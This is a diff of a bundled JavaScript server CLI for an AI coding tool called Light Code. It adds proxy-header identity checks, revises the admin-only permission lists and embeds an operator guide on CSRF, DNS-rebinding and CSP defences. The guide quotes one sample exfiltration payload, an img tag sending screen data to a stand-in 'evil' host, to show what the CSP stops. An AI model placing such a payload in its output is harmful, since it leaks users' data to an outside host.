  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
33860
33860
  module.exports = isexe;
33861
33861
  isexe.sync = sync;
33862
- var fs20 = __require("fs");
33863
- function checkPathExt(path26, options) {
33862
+ var fs24 = __require("fs");
33863
+ function checkPathExt(path29, options) {
33864
33864
  var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
33865
33865
  if (!pathext) {
33866
33866
  return true;
@@ -33871,25 +33871,25 @@ var require_windows = __commonJS({
33871
33871
  }
33872
33872
  for (var i = 0; i < pathext.length; i++) {
33873
33873
  var p = pathext[i].toLowerCase();
33874
- if (p && path26.substr(-p.length).toLowerCase() === p) {
33874
+ if (p && path29.substr(-p.length).toLowerCase() === p) {
33875
33875
  return true;
33876
33876
  }
33877
33877
  }
33878
33878
  return false;
33879
33879
  }
33880
- function checkStat(stat, path26, options) {
33880
+ function checkStat(stat, path29, options) {
33881
33881
  if (!stat.isSymbolicLink() && !stat.isFile()) {
33882
33882
  return false;
33883
33883
  }
33884
- return checkPathExt(path26, options);
33884
+ return checkPathExt(path29, options);
33885
33885
  }
33886
- function isexe(path26, options, cb) {
33887
- fs20.stat(path26, function(er, stat) {
33888
- cb(er, er ? false : checkStat(stat, path26, options));
33886
+ function isexe(path29, options, cb) {
33887
+ fs24.stat(path29, function(er, stat) {
33888
+ cb(er, er ? false : checkStat(stat, path29, options));
33889
33889
  });
33890
33890
  }
33891
- function sync(path26, options) {
33892
- return checkStat(fs20.statSync(path26), path26, options);
33891
+ function sync(path29, options) {
33892
+ return checkStat(fs24.statSync(path29), path29, options);
33893
33893
  }
33894
33894
  }
33895
33895
  });
@@ -33899,14 +33899,14 @@ var require_mode = __commonJS({
33899
33899
  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
33900
33900
  module.exports = isexe;
33901
33901
  isexe.sync = sync;
33902
- var fs20 = __require("fs");
33903
- function isexe(path26, options, cb) {
33904
- fs20.stat(path26, function(er, stat) {
33902
+ var fs24 = __require("fs");
33903
+ function isexe(path29, options, cb) {
33904
+ fs24.stat(path29, function(er, stat) {
33905
33905
  cb(er, er ? false : checkStat(stat, options));
33906
33906
  });
33907
33907
  }
33908
- function sync(path26, options) {
33909
- return checkStat(fs20.statSync(path26), options);
33908
+ function sync(path29, options) {
33909
+ return checkStat(fs24.statSync(path29), options);
33910
33910
  }
33911
33911
  function checkStat(stat, options) {
33912
33912
  return stat.isFile() && checkMode(stat, options);
@@ -33930,7 +33930,7 @@ var require_mode = __commonJS({
33930
33930
  // ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
33931
33931
  var require_isexe = __commonJS({
33932
33932
  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
33933
- var fs20 = __require("fs");
33933
+ var fs24 = __require("fs");
33934
33934
  var core;
33935
33935
  if (process.platform === "win32" || global.TESTING_WINDOWS) {
33936
33936
  core = require_windows();
@@ -33939,7 +33939,7 @@ var require_isexe = __commonJS({
33939
33939
  }
33940
33940
  module.exports = isexe;
33941
33941
  isexe.sync = sync;
33942
- function isexe(path26, options, cb) {
33942
+ function isexe(path29, options, cb) {
33943
33943
  if (typeof options === "function") {
33944
33944
  cb = options;
33945
33945
  options = {};
@@ -33949,7 +33949,7 @@ var require_isexe = __commonJS({
33949
33949
  throw new TypeError("callback not provided");
33950
33950
  }
33951
33951
  return new Promise(function(resolve, reject2) {
33952
- isexe(path26, options || {}, function(er, is) {
33952
+ isexe(path29, options || {}, function(er, is) {
33953
33953
  if (er) {
33954
33954
  reject2(er);
33955
33955
  } else {
@@ -33958,7 +33958,7 @@ var require_isexe = __commonJS({
33958
33958
  });
33959
33959
  });
33960
33960
  }
33961
- core(path26, options || {}, function(er, is) {
33961
+ core(path29, options || {}, function(er, is) {
33962
33962
  if (er) {
33963
33963
  if (er.code === "EACCES" || options && options.ignoreErrors) {
33964
33964
  er = null;
@@ -33968,9 +33968,9 @@ var require_isexe = __commonJS({
33968
33968
  cb(er, is);
33969
33969
  });
33970
33970
  }
33971
- function sync(path26, options) {
33971
+ function sync(path29, options) {
33972
33972
  try {
33973
- return core.sync(path26, options || {});
33973
+ return core.sync(path29, options || {});
33974
33974
  } catch (er) {
33975
33975
  if (options && options.ignoreErrors || er.code === "EACCES") {
33976
33976
  return false;
@@ -33986,7 +33986,7 @@ var require_isexe = __commonJS({
33986
33986
  var require_which = __commonJS({
33987
33987
  "../../node_modules/.pnpm/which@2.0.2/node_modules/which/which.js"(exports, module) {
33988
33988
  var isWindows = process.platform === "win32" || process.env.OSTYPE === "cygwin" || process.env.OSTYPE === "msys";
33989
- var path26 = __require("path");
33989
+ var path29 = __require("path");
33990
33990
  var COLON = isWindows ? ";" : ":";
33991
33991
  var isexe = require_isexe();
33992
33992
  var getNotFoundError = (cmd) => Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" });
@@ -34024,7 +34024,7 @@ var require_which = __commonJS({
34024
34024
  return opt.all && found.length ? resolve(found) : reject2(getNotFoundError(cmd));
34025
34025
  const ppRaw = pathEnv[i];
34026
34026
  const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
34027
- const pCmd = path26.join(pathPart, cmd);
34027
+ const pCmd = path29.join(pathPart, cmd);
34028
34028
  const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
34029
34029
  resolve(subStep(p, i, 0));
34030
34030
  });
@@ -34051,7 +34051,7 @@ var require_which = __commonJS({
34051
34051
  for (let i = 0; i < pathEnv.length; i++) {
34052
34052
  const ppRaw = pathEnv[i];
34053
34053
  const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
34054
- const pCmd = path26.join(pathPart, cmd);
34054
+ const pCmd = path29.join(pathPart, cmd);
34055
34055
  const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
34056
34056
  for (let j = 0; j < pathExt.length; j++) {
34057
34057
  const cur = p + pathExt[j];
@@ -34099,7 +34099,7 @@ var require_path_key = __commonJS({
34099
34099
  var require_resolveCommand = __commonJS({
34100
34100
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) {
34101
34101
  "use strict";
34102
- var path26 = __require("path");
34102
+ var path29 = __require("path");
34103
34103
  var which = require_which();
34104
34104
  var getPathKey = require_path_key();
34105
34105
  function resolveCommandAttempt(parsed, withoutPathExt) {
@@ -34117,7 +34117,7 @@ var require_resolveCommand = __commonJS({
34117
34117
  try {
34118
34118
  resolved = which.sync(parsed.command, {
34119
34119
  path: env2[getPathKey({ env: env2 })],
34120
- pathExt: withoutPathExt ? path26.delimiter : void 0
34120
+ pathExt: withoutPathExt ? path29.delimiter : void 0
34121
34121
  });
34122
34122
  } catch (e) {
34123
34123
  } finally {
@@ -34126,7 +34126,7 @@ var require_resolveCommand = __commonJS({
34126
34126
  }
34127
34127
  }
34128
34128
  if (resolved) {
34129
- resolved = path26.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
34129
+ resolved = path29.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
34130
34130
  }
34131
34131
  return resolved;
34132
34132
  }
@@ -34180,8 +34180,8 @@ var require_shebang_command = __commonJS({
34180
34180
  if (!match) {
34181
34181
  return null;
34182
34182
  }
34183
- const [path26, argument] = match[0].replace(/#! ?/, "").split(" ");
34184
- const binary = path26.split("/").pop();
34183
+ const [path29, argument] = match[0].replace(/#! ?/, "").split(" ");
34184
+ const binary = path29.split("/").pop();
34185
34185
  if (binary === "env") {
34186
34186
  return argument;
34187
34187
  }
@@ -34194,16 +34194,16 @@ var require_shebang_command = __commonJS({
34194
34194
  var require_readShebang = __commonJS({
34195
34195
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
34196
34196
  "use strict";
34197
- var fs20 = __require("fs");
34197
+ var fs24 = __require("fs");
34198
34198
  var shebangCommand = require_shebang_command();
34199
34199
  function readShebang(command) {
34200
34200
  const size = 150;
34201
34201
  const buffer = Buffer.alloc(size);
34202
34202
  let fd;
34203
34203
  try {
34204
- fd = fs20.openSync(command, "r");
34205
- fs20.readSync(fd, buffer, 0, size, 0);
34206
- fs20.closeSync(fd);
34204
+ fd = fs24.openSync(command, "r");
34205
+ fs24.readSync(fd, buffer, 0, size, 0);
34206
+ fs24.closeSync(fd);
34207
34207
  } catch (e) {
34208
34208
  }
34209
34209
  return shebangCommand(buffer.toString());
@@ -34216,7 +34216,7 @@ var require_readShebang = __commonJS({
34216
34216
  var require_parse2 = __commonJS({
34217
34217
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/parse.js"(exports, module) {
34218
34218
  "use strict";
34219
- var path26 = __require("path");
34219
+ var path29 = __require("path");
34220
34220
  var resolveCommand = require_resolveCommand();
34221
34221
  var escape2 = require_escape();
34222
34222
  var readShebang = require_readShebang();
@@ -34241,7 +34241,7 @@ var require_parse2 = __commonJS({
34241
34241
  const needsShell = !isExecutableRegExp.test(commandFile);
34242
34242
  if (parsed.options.forceShell || needsShell) {
34243
34243
  const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
34244
- parsed.command = path26.normalize(parsed.command);
34244
+ parsed.command = path29.normalize(parsed.command);
34245
34245
  parsed.command = escape2.command(parsed.command);
34246
34246
  parsed.args = parsed.args.map((arg) => escape2.argument(arg, needsDoubleEscapeMetaChars));
34247
34247
  const shellCommand = [parsed.command].concat(parsed.args).join(" ");
@@ -34457,8 +34457,10 @@ var require_content_type = __commonJS({
34457
34457
 
34458
34458
  // src/cli.ts
34459
34459
  import { spawn as spawn5 } from "node:child_process";
34460
- import path25 from "node:path";
34461
- import { fileURLToPath } from "node:url";
34460
+ import fs23 from "node:fs/promises";
34461
+ import os2 from "node:os";
34462
+ import path28 from "node:path";
34463
+ import { fileURLToPath, pathToFileURL } from "node:url";
34462
34464
 
34463
34465
  // ../../node_modules/.pnpm/env-paths@4.0.0/node_modules/env-paths/index.js
34464
34466
  import path from "node:path";
@@ -34550,16 +34552,69 @@ function envPaths(name, { suffix = "nodejs" } = {}) {
34550
34552
  return linux(name);
34551
34553
  }
34552
34554
 
34555
+ // src/proxyIdentity.ts
34556
+ import net from "node:net";
34557
+ var DEFAULT_USER_HEADER = "x-forwarded-user";
34558
+ var DEFAULT_NAME_HEADER = "x-forwarded-display-name";
34559
+ function normalizeAddress(address) {
34560
+ if (address === void 0 || address.length === 0) return void 0;
34561
+ const lower = address.toLowerCase();
34562
+ const mapped = /^::ffff:(\d+\.\d+\.\d+\.\d+)$/.exec(lower);
34563
+ if (mapped !== null) return mapped[1];
34564
+ return lower;
34565
+ }
34566
+ var ProxyHeaderIdentity = class {
34567
+ describe;
34568
+ userHeader;
34569
+ nameHeader;
34570
+ trusted;
34571
+ constructor(options = {}) {
34572
+ this.userHeader = (options.userHeader ?? DEFAULT_USER_HEADER).toLowerCase();
34573
+ this.nameHeader = (options.nameHeader ?? DEFAULT_NAME_HEADER).toLowerCase();
34574
+ this.trusted = new Set(
34575
+ (options.trustedProxies ?? []).map((address) => normalizeAddress(address)).filter((address) => address !== void 0)
34576
+ );
34577
+ this.describe = this.trusted.size === 0 ? `proxy header "${this.userHeader}" \u2014 NO TRUSTED PROXY CONFIGURED, every request is refused` : `proxy header "${this.userHeader}" from ${[...this.trusted].join(", ")}`;
34578
+ }
34579
+ /** True when the socket peer is an address the operator named. */
34580
+ trusts(request) {
34581
+ const peer = normalizeAddress(request.socket.remoteAddress ?? void 0);
34582
+ return peer !== void 0 && this.trusted.has(peer);
34583
+ }
34584
+ async authenticate(request) {
34585
+ if (!this.trusts(request)) return void 0;
34586
+ const raw = request.headers[this.userHeader];
34587
+ if (typeof raw !== "string") return void 0;
34588
+ const id = raw.trim();
34589
+ if (id.length === 0) return void 0;
34590
+ const nameRaw = request.headers[this.nameHeader];
34591
+ const displayName = typeof nameRaw === "string" && nameRaw.trim().length > 0 ? nameRaw.trim() : id;
34592
+ return { id, displayName };
34593
+ }
34594
+ };
34595
+ function validateTrustedProxies(addresses) {
34596
+ return addresses.filter((address) => {
34597
+ const normalized = normalizeAddress(address);
34598
+ return normalized === void 0 || net.isIP(normalized) === 0;
34599
+ });
34600
+ }
34601
+
34553
34602
  // src/roles.ts
34554
34603
  var ADMIN_ONLY_MESSAGES = [
34555
- // Credentials and where inference goes (invariant 5: `profiles`, `activeProfileId`).
34556
- "saveProfile",
34557
- "deleteProfile",
34558
- "duplicateProfile",
34559
- "setActiveProfile",
34560
- "testConnection",
34604
+ /*
34605
+ * The *shared* provider set, and the default a new user inherits.
34606
+ *
34607
+ * A user's own profiles are theirs — see PERSONAL_SETTINGS. That is a reversal, made
34608
+ * deliberately: the original rule froze all of `profiles` because a second user was treated as
34609
+ * the same threat as a hostile repository. The threat that reasoning is about is one user
34610
+ * repointing *another's* gateway, and a per-user profile cannot do that — someone bringing
34611
+ * their own key is spending their own money against a host they chose.
34612
+ */
34613
+ "saveSharedProfile",
34614
+ "deleteSharedProfile",
34615
+ "setDefaultProfile",
34616
+ // Writes a whole profile list, so it is not the same act as exporting one.
34561
34617
  "importConfig",
34562
- "exportConfig",
34563
34618
  // Processes this machine will spawn.
34564
34619
  "saveMcpServer",
34565
34620
  "saveMcpServers",
@@ -34594,6 +34649,12 @@ var ADMIN_ONLY_MESSAGES = [
34594
34649
  "saveSkillDirs",
34595
34650
  "deleteSkillFile",
34596
34651
  // Unattended execution with a pre-granted tool list.
34652
+ // Session variables an administrator sets for everyone. A user saving their own is
34653
+ // `saveUserVariables`, which is deliberately not here — it is theirs.
34654
+ // Approving model-authored code is the whole point of the queue.
34655
+ "decideReview",
34656
+ "saveAdminVariables",
34657
+ "saveAdminIds",
34597
34658
  "saveSchedule",
34598
34659
  "deleteSchedule",
34599
34660
  "setScheduleEnabled",
@@ -34606,6 +34667,24 @@ var ADMIN_ONLY_MESSAGES = [
34606
34667
  ];
34607
34668
  var ADMIN_ONLY = new Set(ADMIN_ONLY_MESSAGES);
34608
34669
  var PERSONAL_SETTINGS = /* @__PURE__ */ new Set([
34670
+ // A user's own session variables. Caught by the unknown-mutating-verb rule, which is the
34671
+ // safety net working — the net is meant to be wrong in this direction, and this is where the
34672
+ // exception gets made deliberately rather than by weakening the rule.
34673
+ "saveUserVariables",
34674
+ /*
34675
+ * A user's own provider profiles, including their own API key.
34676
+ *
34677
+ * They cannot reach the shared ones: the config store strips a shared profile from anything
34678
+ * written to a user's file, so that boundary is storage rather than this list. Test Connection
34679
+ * is theirs too — a diagnostic against a profile they can already use, and refusing it would
34680
+ * leave someone unable to find out why their own key does not work.
34681
+ */
34682
+ "saveProfile",
34683
+ "deleteProfile",
34684
+ "duplicateProfile",
34685
+ "setActiveProfile",
34686
+ "testConnection",
34687
+ "exportConfig",
34609
34688
  "setMode",
34610
34689
  "setAccentColor",
34611
34690
  "setExpertColor",
@@ -34632,294 +34711,224 @@ function refusalFor(messageType) {
34632
34711
  return `"${messageType}" changes configuration that the administrator owns on a shared server, so it was not applied. Everything about your own session \u2014 chatting, editing, the mode and appearance \u2014 is unaffected. Ask whoever runs this server if a setting needs changing.`;
34633
34712
  }
34634
34713
 
34635
- // src/server.ts
34636
- import fs19 from "node:fs/promises";
34637
- import {
34638
- createServer
34639
- } from "node:http";
34640
- import path24 from "node:path";
34641
-
34642
- // src/identity.ts
34643
- import crypto from "node:crypto";
34644
- var SingleUserIdentity = class _SingleUserIdentity {
34645
- describe = "single user (local)";
34646
- static PRINCIPAL = { id: "local", displayName: "Local user" };
34647
- /** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
34648
- sessionToken = crypto.randomBytes(32).toString("base64url");
34649
- /**
34650
- * Single-use and short-lived, because it travels in the launch URL's fragment where it
34651
- * can end up in shell history or a terminal scrollback (§14).
34652
- */
34653
- handoffToken = crypto.randomBytes(32).toString("base64url");
34654
- handoffExpiresAt = Date.now() + 1e4;
34655
- get launchToken() {
34656
- if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
34657
- return this.handoffToken;
34658
- }
34659
- /**
34660
- * Exchanges the handoff token for the session token, once.
34661
- *
34662
- * Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
34663
- * or an attack, and in both cases the right answer is that this token is now spent.
34664
- */
34665
- redeemHandoff(presented) {
34666
- const expected = this.handoffToken;
34667
- const expiresAt = this.handoffExpiresAt;
34668
- this.handoffToken = void 0;
34669
- if (expected === void 0 || Date.now() > expiresAt) return void 0;
34670
- return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
34671
- }
34672
- async authenticate(request) {
34673
- const header = request.headers.authorization;
34674
- if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
34675
- return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
34676
- }
34677
- };
34678
- function timingSafeEquals(a, b) {
34679
- const left = Buffer.from(a);
34680
- const right = Buffer.from(b);
34681
- if (left.length !== right.length) return false;
34682
- return crypto.timingSafeEqual(left, right);
34683
- }
34684
- function storageKeyFor(principal) {
34685
- return crypto.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
34686
- }
34687
-
34688
- // src/security.ts
34689
- var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
34690
- function checkRequest(request, policy, options) {
34691
- const host = request.headers.host;
34692
- if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
34693
- return {
34694
- status: 421,
34695
- reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
34696
- };
34697
- }
34698
- const origin = request.headers.origin;
34699
- if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
34700
- return { status: 403, reason: `Origin "${origin}" is not allowed.` };
34701
- }
34702
- const fetchSite = request.headers["sec-fetch-site"];
34703
- if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
34704
- return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
34705
- }
34706
- const method = (request.method ?? "GET").toUpperCase();
34707
- if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
34708
- return { status: 403, reason: `Missing Origin header on a ${method}.` };
34709
- }
34710
- return void 0;
34711
- }
34712
- function securityHeaders() {
34713
- return {
34714
- "Content-Security-Policy": [
34715
- "default-src 'none'",
34716
- "script-src 'self'",
34717
- // The UI styles through the CSSOM rather than inline attributes, but the browser
34718
- // build also needs a stylesheet for the page shell.
34719
- "style-src 'self' 'unsafe-inline'",
34720
- "img-src 'self' data:",
34721
- "font-src 'self'",
34722
- "connect-src 'self'",
34723
- "frame-ancestors 'none'",
34724
- "base-uri 'none'",
34725
- "form-action 'none'"
34726
- ].join("; "),
34727
- "X-Content-Type-Options": "nosniff",
34728
- "Referrer-Policy": "no-referrer",
34729
- // Nothing here needs a camera, a microphone or a location.
34730
- "Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
34731
- "Cache-Control": "no-store"
34732
- // Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
34733
- };
34734
- }
34735
- function reject(response, rejected) {
34736
- response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
34737
- response.end(rejected.reason);
34738
- }
34739
- async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
34740
- const chunks = [];
34741
- let total = 0;
34742
- for await (const chunk of request) {
34743
- const buffer = chunk;
34744
- total += buffer.length;
34745
- if (total > maxBytes) throw new Error("Request body too large.");
34746
- chunks.push(buffer);
34747
- }
34748
- if (total === 0) return void 0;
34749
- return JSON.parse(Buffer.concat(chunks).toString("utf8"));
34750
- }
34751
-
34752
- // src/session.ts
34753
- import { watch as fsWatch } from "node:fs";
34754
- import fs18 from "node:fs/promises";
34755
- import path23 from "node:path";
34714
+ // src/generated/operatorGuide.ts
34715
+ var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", 